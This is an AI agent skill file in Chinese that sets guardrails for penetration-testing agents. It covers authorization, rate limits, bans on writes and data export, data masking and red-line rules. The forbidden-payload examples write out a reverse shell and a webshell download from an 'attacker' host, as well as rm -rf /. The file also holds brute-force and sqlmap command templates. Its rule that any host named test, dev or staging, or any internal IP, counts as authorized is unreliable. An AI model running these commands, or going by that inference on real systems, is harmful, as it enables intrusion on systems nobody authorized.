---
name: pentest-boundary
description: >
  渗透测试规范边界约束系统 v1.0.0。定义渗透测试的安全红线与操作规范，
  确保所有测试活动在安全可控的范围内进行。覆盖：授权边界、速率控制、
  操作安全、数据保护、漏洞验证、应急响应、法律合规。
  本技能作为约束层，所有渗透测试技能 (SecSkills-main/advsec-plus/api-unauth-fuzz)
  在执行任何漏洞检测/利用/验证操作前，必须先加载本规范清单进行安全检查。
  违反红线规则的操作直接拒绝执行，并输出违规原因。
allowed-tools: Read, Write, Bash, Grep, WebSearch, WebFetch, Glob, AskUserQuestion
argument-hint: check|review|estimate-risk|plan|report-violation
---

# 渗透测试规范边界约束系统 (PenTest Boundary)

> **核心理念**: 不越界、不破坏、不遗漏。渗透测试的价值在于发现风险，而非造成风险。
>
> **定位**: 所有渗透测试技能的「前置约束层」——在执行任何操作前，必须经过本规范的检查。
>
> **规则权重**: 🔴 红线规则（绝对禁止） > 🟡 警告规则（高危操作需确认） > 🟢 建议规则（最佳实践）

---

## 1. 触发条件

### 🔵 自动触发

当满足以下任一条件时，自动加载本规范进行检查:

| 触发场景 | 触发动作 |
|---------|---------|
| 任何渗透测试技能被唤起 (SecSkills-main/advsec-plus/api-unauth-fuzz) | 加载红线清单 §6 |
| 即将执行 curl/sqlmap/nmap 等网络请求命令 | 检查速率控制规范 §3 + 红线清单 |
| 扫描/检测命令涉及数据库操作 | 检查 §4.3 数据库安全规范 |
| 即将发送大量请求（>10并发或>50总请求） | 检查 §3 速率控制规范 |
| 发现可写入/删除/修改的操作 | 检查 §4.2 写入操作安全规范 |
| 发现敏感数据（密码/Token/身份证/银行卡） | 检查 §5 数据保护规范 |
| 涉及内网渗透/横向移动 | 检查 §2.2 范围边界规范 |
| 输出漏洞报告 | 检查 §5 数据脱敏规范 |

### 🟡 被动触发（用户请求检查）

| 命令 | 功能 |
|------|------|
| `/pentest-boundary check <操作>` | 检查某个操作是否符合规范 |
| `/pentest-boundary review <漏洞>` | 审查漏洞报告是否合规 |
| `/pentest-boundary estimate-risk <操作>` | 评估某个操作的风险等级 |
| `/pentest-boundary plan <目标>` | 生成符合规范的测试计划 |
| `/pentest-boundary report-violation` | 报告违规行为 |

### ⚪ 始终有效（无条件触发）

以下规范在所有渗透测试活动中始终有效，**无需等待触发条件**:

- §2.1 授权边界 — 始终有效
- §3.1 并发上限 — 始终有效
- §6 红线清单 — 始终有效

---

## 2. 授权与范围边界

### 2.1 授权边界规范

在执行任何测试前，必须明确授权状态:

| 授权级别 | 允许操作 | 禁止操作 |
|---------|---------|---------|
| ✅ 完整授权（签章合同） | 全量测试（含社会工程学/深度利用） | 超出合同范围的目标 |
| ✅ 企业test环境 | 标准漏洞检测+验证PoC | 武器化利用/数据下载/持久化 |
| ✅ 灰盒（有账号） | 登录态测试+逻辑漏洞检测 | 越权访问其他用户数据/删数据 |
| ✅ 本人环境 | 全量测试 | 影响其他租户/公共资源 |
| ❓ 无明确授权 | 仅公开信息收集 | **禁止任何漏洞检测/利用** |

> ⚠️ **授权确认流程**: 
> 1. 目标域名/URL 中含 test/dev/staging → 自动判定为授权test环境
> 2. 用户提供账号密码 → 自动判定为灰盒测试
> 3. 目标为内网IP → 自动判定为内部授权环境
> 4. 以上全不满足 → 输出「仅分析方法，不执行任何命令」

### 2.2 范围边界规范

| 规则 | 说明 |
|------|------|
| 🟢 仅限主目标 | 测试范围严格限定在用户指定的目标范围内 |
| 🟡 关联资产 | 子域名/C段/关联IP需单独确认后再测试 |
| 🔴 禁止跨边界 | 发现目标与其他系统共享资源时，不利用此关系攻击其他系统 |
| 🔴 禁止扩大攻击面 | 不利用一个漏洞入口去攻击非授权的内部系统 |
| 🟡 云资源共享 | 在云环境中发现共享资源（如S3 Bucket），仅验证权限，不下载/修改他人数据 |

### 2.3 测试时间窗口

| 规则 | 说明 |
|------|------|
| 🟢 业务低峰期 | 高危操作（密码爆破/大范围扫描）优先在业务低峰期进行 |
| 🟡 影响评估 | 批量操作前先发少量请求评估对系统的影响 |
| 🔴 禁止干扰业务 | 测试导致业务不可用 = 测试立即终止 |
| 🟢 时段建议 | 扫描类 9:00-18:00，爆破类 22:00-6:00，写操作提前沟通 |

---

## 3. 速率控制规范

### 3.1 并发上限（硬性约束）

| 维度 | 上限 | 说明 |
|------|------|------|
| 🔴 并发请求数 | **≤10** | 同时进行的 HTTP/TCP 连接数不超过 10 |
| 🟡 每秒请求数(RPS) | ≤50/秒 | Burp Intruder/ffuf 等工具的每秒请求数限制 |
| 🟢 单目标扫描线程 | ≤5 | 针对单一目标的扫描线程数 |
| 🟢 爆破类请求间隔 | ≥1秒 | 密码爆破/验证码爆破等至少间隔1秒 |

> 🔴 **硬性红线**: 并发超过 10 的命令必须拒绝执行，并提示"违反 pentest-boundary 并发上限规范"。

### 3.2 速率控制技术实现

```bash
# curl 并发控制 - 使用 --rate 限制请求速率 (curl 7.84+)
# 正确: 并发 ≤10
curl -sk --rate 5/s 'https://target.com/api'   # 每秒5次

# ffuf 并发控制
ffuf -w wordlist.txt -u 'https://target.com/FUZZ' -rate 50   # 限制RPS

# sqlmap 速率控制
sqlmap -u 'https://target.com/page?id=1' --delay=1 --threads=5   # 延迟1秒，线程5

# Burp Intruder 设置
# Resource Pool → Maximum concurrent requests: 10
# Throttle between requests: 200 milliseconds
```

### 3.3 大请求量操作规范

| 操作类型 | 准备要求 | 上限 |
|---------|---------|------|
| 目录爆破 | 先 head 请求探测存在性 | ≤5000 请求/目标 |
| 参数Fuzz | 先缩小字典范围 | ≤10000 请求/端点 |
| 密码爆破 | 先确认账户锁定策略 | ≤50 次/账号 |
| 端口扫描 | 先扫 Top100，再扩展 | ≤1000 端口/主机 |
| 子域名枚举 | 使用公共DNS缓存优先 | ≤5000 请求/域名 |

---

## 4. 操作安全规范

### 4.1 通用操作规范

| 规则 | 说明 |
|------|------|
| 🟢 最小权限原则 | 仅使用完成任务所需的最小权限 |
| 🟢 最小影响原则 | 优先使用只读/检测类操作，避免写操作 |
| 🟢 渐进测试 | 先发1个请求确认响应，再逐步增加 |
| 🟡 操作可逆 | 所有写操作必须有对应的回滚/恢复方案 |
| 🟡 操作记录 | 所有命令输出、响应必须记录到日志 |
| 🔴 禁止自动化盲扫 | sqlmap --batch 等高危自动化必须加参数限制 |

### 4.2 写入操作安全规范

任何涉及「写入/修改/删除」的操作，必须经过以下检查:

```mermaid
检查流程:
  检测到"写入"操作
       │
       ├─ 写入目标是生产环境？ → YES → 🔴 拒绝
       │
       ├─ 写入目标是 test/dev 环境？
       │      ├─ 写入文件？     → 仅限 /tmp/ 目录
       │      ├─ 写入数据库？   → 🔴 拒绝（任何环境都不允许）
       │      └─ 创建账号？     → 🔴 拒绝
       │
       ├─ 修改系统配置？
       │      ├─ 防火墙规则？   → 🔴 拒绝
       │      ├─ 系统文件？     → 🔴 拒绝
       │      └─ 启动服务？     → 🟡 需明确授权
       │
       └─ 删除操作？ → 🔴 任何环境都拒绝
```

**具体禁止的写入操作**:

| 🔴 禁止 | 说明 |
|---------|------|
| 写入/修改/删除数据库记录 | 包括 INSERT/UPDATE/DELETE/DROP/TRUNCATE/ALTER |
| 创建系统账号 | useradd/adduser/net user |
| 修改系统配置文件 | /etc/ 下任何文件、注册表 |
| 部署 Webshell/后门 | 任何形式的持久化后门 |
| 安装持久化服务 | systemd service/cron/启动项 |
| 修改防火墙策略 | iptables/firewalld/Windows Firewall |
| 写入文件到Web目录 | 除非已确认是测试环境且用户明确授权 |
| rm -rf / 等破坏性命令 | 任何形式的批量删除 |

### 4.3 数据库安全规范

| 规则 | 说明 |
|------|------|
| 🔴 禁止 DDL/DML | 不执行 INSERT/UPDATE/DELETE/DROP/ALTER/TRUNCATE/CREATE |
| 🟡 只读查询 | 仅允许 SELECT 读取少量数据（≤100条）证明漏洞存在 |
| 🟡 敏感字段脱敏 | 报告中展示的数据库内容必须脱敏 |
| 🟢 证明即可 | 读取 3-5 条记录证明SQL注入存在即可，不批量导出 |
| 🔴 禁止读取密码列 | 即使能读到密码hash，也不作为漏洞证据输出（防止破解） |

### 4.4 漏洞验证安全规范

| 规则 | 说明 |
|------|------|
| 🟢 PoC 原则 | 所有漏洞验证使用 PoC（Proof of Concept），不产生实际损害 |
| 🟢 无害Payload | 优先使用 echo/uid/date 等无害命令验证 RCE |
| 🔴 禁止反弹Shell | 除非明确授权，不使用反弹 Shell |
| 🔴 禁止实际利用 | 验证漏洞存在即止，不进行深度利用（如提权/横向） |
| 🟡 读文件限制 | 读取系统文件验证漏洞时，仅限于 /etc/passwd 等非敏感文件 |

**RCE验证安全规范**:

```bash
# ✅ 安全验证（仅证明命令执行能力）
curl -sk 'https://target.com/vuln?cmd=echo%20pwned`   # 回显验证
curl -sk 'https://target.com/vuln?cmd=sleep%205`       # 延时验证
curl -sk 'https://target.com/vuln?cmd=whoami`           # 身份验证
curl -sk 'https://target.com/vuln?cmd=cat%20/etc/passwd` # 文件读取验证

# ❌ 禁止操作
curl -sk 'https://target.com/vuln?cmd=rm%20-rf%20/`          # 破坏
curl -sk 'https://target.com/vuln?cmd=bash%20-i%20>&20...`    # 反弹Shell
curl -sk 'https://target.com/vuln?cmd=wget%20http://attacker/` # 未授权外联
```

### 4.5 验证后清理规范

| 操作 | 清理要求 |
|------|---------|
| 上传的测试文件 | 测试完成后必须立即删除 |
| 修改的配置项 | 必须恢复到原始值（修改前备份原值） |
| 创建的测试数据 | 必须在报告中记录并在测试结束后清理 |
| 系统中的测试账号 | 测试完成后立即禁用/删除 |
| 本地保存的目标数据 | 报告交付后 30 天内销毁 |

---

## 5. 数据保护规范

### 5.1 敏感数据分类

| 级别 | 分类 | 处理方式 |
|------|------|---------|
| 🔴 极高危 | 明文密码/支付信息/身份证/银行卡/医疗记录 | 发现即停止、不上传、不复制、立即通知 |
| 🟡 高危 | Token/Session/手机号/邮箱/住址 | 报告中必须脱敏（前三后二: 138****1234） |
| 🟢 中危 | 用户名/角色/权限信息 | 报告中可保留但去除与个人关联 |
| ⚪ 低危 | 技术信息/版本号/报错信息 | 正常展示 |

### 5.2 数据输出规范

| 规范 | 说明 |
|------|------|
| 🔴 禁止明文输出 | 所有敏感数据在输出前必须脱敏 |
| 🔴 禁止批量导出 | 不批量下载/导出数据库内容 |
| 🟡 最小化展示 | 仅展示证明漏洞存在的最小数据量（3-5条） |
| 🟡 路径脱敏 | 内网路径/IP 映射为脱敏别名 |
| 🟢 技术数据可保留 | 版本号、端口号、服务类型等信息可正常展示 |

**数据脱敏示例**:
```
📦 SQL注入漏洞
   ├─ 位置: https://target.com/api/users?id=1 UNION SELECT...--
   ├─ 验证数据: (仅展示3条，手机号脱敏)
   │   id=1 | username=admin | phone=138****1234 | email=a***@**.com
   │   id=2 | username=user01 | phone=159****5678 | email=u***@**.com
   │   id=3 | username=test01 | phone=186****9012 | email=t***@**.com
   ├─ 证明: 查询成功返回3条用户数据，证明SQL注入存在
   └─ 状态: ✅ 已验证
```

### 5.3 数据存储与销毁

| 规则 | 说明 |
|------|------|
| 🟢 本地存储 | 测试数据仅存储在本地，不上传到第三方服务 |
| 🟡 加密存储 | 包含敏感数据的文件必须加密存储 |
| 🟢 销毁时限 | 测试数据在报告交付后在本地保留不超过 30 天 |
| 🔴 禁止传播 | 不将测试数据通过聊天工具/邮件发送给未经授权的人员 |

---

## 6. 红线清单（绝对禁止）

> 以下规则为**硬性红线**，违反任意一条即视为违规操作，直接拒绝执行。

| # | 🔴 红线规则 | 举例 | 违规范畴 |
|---|------------|------|---------|
| R1 | **禁止删除/修改生产数据** | DROP TABLE、DELETE FROM、UPDATE、rm -rf | 数据安全 |
| R2 | **禁止DoS/DDoS** | 高并发请求、慢速攻击( SlowHTTPTest )、流量放大 | 可用性 |
| R3 | **禁止并发超过10** | ffuf -t 50、自定义脚本开20线程、Burp Intruder开15线程 | 速率控制 |
| R4 | **禁止部署后门/持久化** | 写Webshell、加cron、装服务、加SSH key | 持久化 |
| R5 | **禁止社会工程学** | 钓鱼邮件、钓鱼页面、电话诈骗（除非明确授权） | 授权边界 |
| R6 | **禁止对生产环境使用武器化Payload** | 反弹Shell Metasploit、实际RCE利用（仅用PoC验证） | 操作安全 |
| R7 | **禁止超出授权范围** | 测试A系统却攻击B系统、扫描未授权的C段 | 范围边界 |
| R8 | **禁止批量导出敏感数据** | 全表SELECT、下载整个S3 Bucket、git clone完整仓库后传播 | 数据保护 |
| R9 | **禁止修改系统配置** | 改防火墙规则、改系统文件、改安全策略 | 操作安全 |
| R10 | **禁止对非目标系统进行扫描探测** | 发现共享IP后扫描同IP其他站点 | 范围边界 |
| R11 | **禁止使用自动化盲扫高危操作** | sqlmap --batch 不加限制、Burp Scanner全自动扫描 | 操作安全 |
| R12 | **禁止在报告中展示明文密码** | 密码/密钥/Token 在报告中必须脱敏 | 数据保护 |

> ⚠️ **红线响应流程**:
> 1. 检测到红线违规 → 立即拒绝执行命令
> 2. 输出拒绝原因: `🔴 [R#] 违规: [红线规则描述]`
> 3. 建议替代方案: `🟢 建议: [合规的替代操作]`
> 4. 记录违规日志: 时间 + 操作 + 红线编号

---

## 7. 合规操作速查

### 安全工具参数模板

```bash
# === 并发安全配置 ===

# Nmap - 慢速扫描
nmap -T2 --max-rate=10 --min-hostgroup=1 <target>    # 限速10包/秒
nmap -T3 --max-retries=2 <target>                     # 标准速度，限制重试

# SQLMap - 安全模式
sqlmap -u 'http://target.com?id=1' --delay=2 --threads=5 \
  --batch --flush-session --no-cast --random-agent \
  --level=3 --risk=1                                  # level≤3, risk=1, 延迟2秒

# ffuf - 速率控制
ffuf -w wordlist.txt -u 'https://target.com/FUZZ' \
  -rate 50 -t 10 -p 0.5                               # RPS≤50, 线程≤10

# Gobuster
gobuster dir -u 'https://target.com' -w wordlist.txt \
  -t 10 --delay 200ms                                 # 线程10, 延迟200ms

# Hydra - 单账号限制
hydra -l admin -P pass.txt <target> ssh -t 4 -W 5 -f  # 线程4, 超时5秒

# curl - 并发控制 (批量请求)
# 使用 xargs 控制并发:
cat urls.txt | xargs -P 10 -I {} curl -sk '{}'        # -P 10 = 并发10

# Burp Intruder
# Resource Pool → Maximum concurrent requests: 10
# Throttle between requests: 200ms (5 RPS)
```

### 安全Payload模板

```bash
# ✅ RCE 安全验证 Payload
echo PWNED
whoami
cat /etc/passwd
sleep 5
id
ls -la /tmp

# ❌ RCE 禁止 Payload
bash -i >& /dev/tcp/attacker/4444 0>&1    # 反弹Shell
rm -rf /                                    # 破坏
wget http://attacker/shell.php              # 下载后门
chmod 777 /etc/passwd                       # 修改系统文件
```

---

## 8. 违规处理与应急响应

### 8.1 违规分级

| 级别 | 定义 | 处理方式 |
|------|------|---------|
| 🔴 I级违规 | 触发红线 R1-R12 | 立即停止所有操作，记录违规日志 |
| 🟡 II级违规 | 触发警告规则（如写入敏感数据未脱敏） | 警告并纠正，记录日志 |
| 🟢 III级违规 | 最佳实践建议未遵守 | 提醒并建议更正 |

### 8.2 应急响应流程

```mermaid
测试中发生意外（系统响应异常/数据丢失/服务不可用）
       │
       ▼
  1. 🛑 立即停止所有测试操作
       │
       ▼
  2. 📋 评估影响范围
       ├─ 哪个系统受影响？
       ├─ 影响程度（部分功能/完全不可用/数据丢失）？
       └─ 是否已扩散到其他系统？
       │
       ▼
  3. 🔙 执行回滚方案
       ├─ 还原修改的系统配置
       ├─ 恢复被删除/修改的数据
       └─ 通知系统管理员
       │
       ▼
  4. 📝 记录事故报告
       ├─ 事故时间 + 触发操作
       ├─ 影响范围 + 恢复措施
       ├─ 根因分析
       └─ 预防措施
       │
       ▼
  5. ✅ 确认系统恢复正常后，评估是否继续测试
```

### 8.3 操作前风险评估

每个高危操作前自动执行:

```
🟡 操作风险评估:
   ├─ 操作: [即将执行的命令/操作]
   ├─ 风险等级: [🔴 高危 / 🟡 中危 / 🟢 低危]
   ├─ 风险评估:
   │   ├─ 是否涉及写操作？ → [是/否]
   │   ├─ 是否涉及数据库？ → [是/否]
   │   ├─ 是否涉及系统配置？ → [是/否]
   │   ├─ 是否超出授权范围？ → [是/否]
   │   └─ 是否有回滚方案？ → [是/否]
   ├─ 合规判断: [✅ 合规 / 🔴 违规(R#)]
   └─ 建议: [合规建议/替代方案]
```

---

## 9. 规范引用关系

本规范与其他技能的关系:

| 技能 | 关系 | 说明 |
|------|------|------|
| SecSkills-main | 约束对象 | 执行传统渗透测试时遵守本规范的所有规则 |
| advsec-plus | 约束对象 | 执行高级渗透测试时遵守本规范的所有规则 |
| api-unauth-fuzz | 约束对象 | 执行API模糊测试时遵守速率控制 §3 + 红线清单 §6 |
| skill-evolver | 互不冲突 | 技能进化的内容如果涉及破坏性操作，受本规范约束 |

其他技能引用本规范的格式:
```
[约束:pentest-boundary §N] — 引用本规范的某个规范章节
[红线:pentest-boundary R#] — 引用本规范的某个红线规则
```

---

## 10. 零结果处理

| 情况 | 动作 |
|------|------|
| 命令可能违反红线规则 | 🔴 拒绝执行 + 输出违规原因 + 建议替代方案 |
| 操作风险无法评估 | 🟡 输出"无法评估风险，建议手动确认" + 等待用户确认 |
| 目标为生产环境且无授权 | 仅输出"未授权，建议获取授权后再测试" |
| 用户要求执行红线禁止的操作 | 🔴 "该操作违反渗透测试规范红线 R#，无法执行" |
| 测试过程中出现意外 | 立即停止 → 评估影响 → 执行回滚 → 记录报告 |

---

## 11. 路由边界

| 诉求 | 路由 |
|------|------|
| 检查某个操作是否合规 | **本 Skill** (/pentest-boundary check) |
| 评估漏洞验证是否安全 | **本 Skill** (/pentest-boundary review) |
| 生成合规测试计划 | **本 Skill** (/pentest-boundary plan) |
| 实际执行渗透测试 | SecSkills-main / advsec-plus / api-unauth-fuzz |
| 记录新技巧/技术 | skill-evolver |
| 法律咨询/合规咨询 | 普通问答 |

---

> *v1.0.0 | PenTest Boundary | 所有渗透测试操作的安全护栏 | 红线: 12条 | 不越界、不破坏、不遗漏*
